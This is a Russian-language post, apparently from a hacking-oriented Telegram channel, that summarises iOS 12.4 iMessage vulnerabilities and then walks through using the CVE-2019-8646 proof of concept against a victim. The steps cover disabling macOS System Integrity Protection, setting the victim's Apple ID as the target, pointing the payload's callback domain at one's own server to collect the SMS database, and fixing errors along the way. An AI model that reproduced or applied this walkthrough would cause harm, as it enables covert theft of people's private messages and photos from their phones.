Эксплуатируем CVE 2019-8646

Эксплуатируем CVE 2019-8646

Social Engineering

Недавно разработчики Apple обновили iOS до версии 12.4, исправив в мобильной ОС сразу несколько уязвимостей. Одна из этих проблем, связанная с iMessage, позволяла удаленно и без участия пользователя читать файлы на iOS-устройствах.

Уязвимость получила идентификатор CVE-2019-8646 и была обнаружена еще в мае 2019 года специалисткой команды Google Project Zero Натали Сильванович (Natalie Silvanovich). PoC-эксплоит, уже продемонстрированный исследовательницей, работает только для устройств под управлением iOS 12 или более новых версий, и описан как «простая демонстрация достижимости класса в Springboard. Реальные последствия [эксплуатации] бага, скорее всего, будут куда серьезнее».

В багтрекере Google Project Zero Сильванович описывает проблему подробно и объясняет, что ошибка была связана с работой _NSDataFileBackedFuture.

Нужно сказать, что это не единственная серьезная уязвимость, исправленная в составе iOS 12.4. Так, Сильванович и ее коллега из Google Project Zero Сэмюэл Гросс (Samuel Groß) обнаружили еще две уязвимости, связанные с iMessage, помимо вышеописанной.

Первый баг (CVE-2019-8660) представлял собой уязвимость во фреймворке Core Data и позволял спровоцировать неожиданное завершение работы приложения или даже добиться выполнения произвольного кода на устройствах iPhone 5s или старше, iPad Air, iPod touch 6-го поколения или старше.

Второй баг (CVE-2019-8647) тоже был связан с Core Data и представлял собой use after free уязвимость. Это проблема та же позволяла выполнить произвольный код на iPhone 5s или старше, iPad Air, iPod touch 6-го поколения или старше.


Эксплуатируем CVE 2019-8646

Сегодня я попытаюсь вам рассказать, как воспользоваться POC’ом от Natalie Silvanovich из команды Google Project Zero. Что можно сделать с помощью этого POC’a: в описание к CVE указывается, что у нас есть возможность получить доступ к содержимому смс-сообщений (речь про /var/mobile/Library/SMS/sms.db) и изображениям из фотогалереи устройства.

Краткая техническая информация по уязвимости:

Итак, нам понадобится:

  • Виртуальная машина на базе macOS версии Mojave (10.14);
  • Смартфон Apple iPhone на котором будем тестировать эксп;
  • Frida

Инструкция:


1. Подготовка виртуальной машины.

После запуска ОС зажимаем клавиши Command+R/Windows+R и входим в консоль, затем прописываем "csrutil disable", и, тем самым отключаем "System Integrity Protection", который не позволит нам поставить hook на сервис с именем "imagent", который отвечает за работу приложений: FaceTime и iMessages.

2. Подготовка сплойта

Перезагружаем нашу виртуалку, логинимся и скачиваем свежий POC https://bugs.chromium.org/p/project-zero/issues/detail?id=1858

Архив "messageleak.zip" должен иметь следующее содержимое:

MD5 (injectMessage.js) = d922afbf15661ce700f7cbf2cc660657
MD5 (myserver.py) = 3c78673f4953a078c75ce9ced903595d
MD5 (obj_db) = f96f64ac54c4e2d667d2b0afff25dff9
MD5 (obj_imgdump) = fdc01461eb9f3b09781550e679710adb
MD5 (sendMessage.applescript) = 074dc419a5383ebb3bb3d67f83798e0a
MD5 (sendMessage.py) = f63b8869e818fdbccc8abab6cdba5a57
MD5 (uni.py) = 754ad573e3aeff1edab103e1fe5175c0

2.1. Правка "sendMessage.py":

В первую очередь, необходимо поправить скрипт "sendMessage.py", т.к. именно он содержит переменную "receiver" – Apple ID жертвы.

Вставляем почту или номер телефона вместо «TARGET»:

Меняем содержимое переменной "receiver":

receiver = "TARGET"

на:

receiver = “example@example.com"

2.2. Правка "injectMessage.js"

Тут надо понять, что мы будем забирать с устройства жертвы. Natalie Silvanovich рекомендует использовать нагрузку "obj_db" для получения SQLite-баз, а "obj_image" для "binary files (images)". В нашем случаем мы будем пытаться забрать базу смс-сообщений – нагрузка "obj_db".

Меняем содержимое переменной "d":

var d = ObjC.classes.NSData.dataWithContentsOfFile_("FULL PATH HERE/obj");

на

var d = ObjC.classes.NSData.dataWithContentsOfFile_("/Users/admin/Desktop/obj_db");

В нагрузке "obj_db" необходимо заменить домен "natashenka.party" на адрес к ваше серверу, который будет получать ответ с результатами работы экспа.

 3. Настройка Frida

Тут без особенностей, скачиваем с сайта "https://github.com/frida/frida/releases" бинарь с именем "frida-server-12.6.12-macos-x86_64.xz" и запускаем:

MD5 (frida-server-12.6.12-macos-x86_64.xz) = b58f4c7ed17c23a88e9a46620645f1d4

Команды:

$ chmod +x frida-server-12.6.12-macos-x86_64
$ ./frida-server-12.6.12-macos-x86_64 -l 0.0.0.0 -v

Ставим frida-tools:

$ sudo easy_install pip
$ pip install frida-tools --user

4. Запуск сплойта

python sendMessage.py 

В ходе работы скрипта, будут запросы на права доступа к приложению Message - надо все "разрешить". Ждем отстука на сервере и наслаждаемся результатом.

 Возможные ошибки.

1. Отсутствия контакта жертвы в адресной книги macOS:

sendMessage.applescript:219:252: execution error: Получена ошибка от «Messages»: Не удается получить buddy id "PlaceholderAccount:target". (-0000)

Решение: необходимо добавить контакт жертвы в адресную книгу.

 2. Смарфон перезагружается после открытия сообщения - неверный путь к файлу

3. Полученный файл битый или маленький кусок от файла - сплойт очень нестабильный, что имеем :)

Social Engineering - Канал посвященный психологии, социальной инженерии, профайлингу, НЛП, Хакингу, Анонимности и безопасности в сети интернет, Даркнету и все что с ним связано. Добро пожаловать ;-)


S.E.Book - Литература социального инженера.

@Social_Engineering_bot - Бот обратной связи.

  1. Shodan. HP iLO RCE.
  2. Получаем доступ к андроиду через зараженный APK.
  3. Подмена буфера обмена.
  4. Когнитивные искажения.
  5. 5 способов отсылки полностью анонимных электронных писем.

Report Page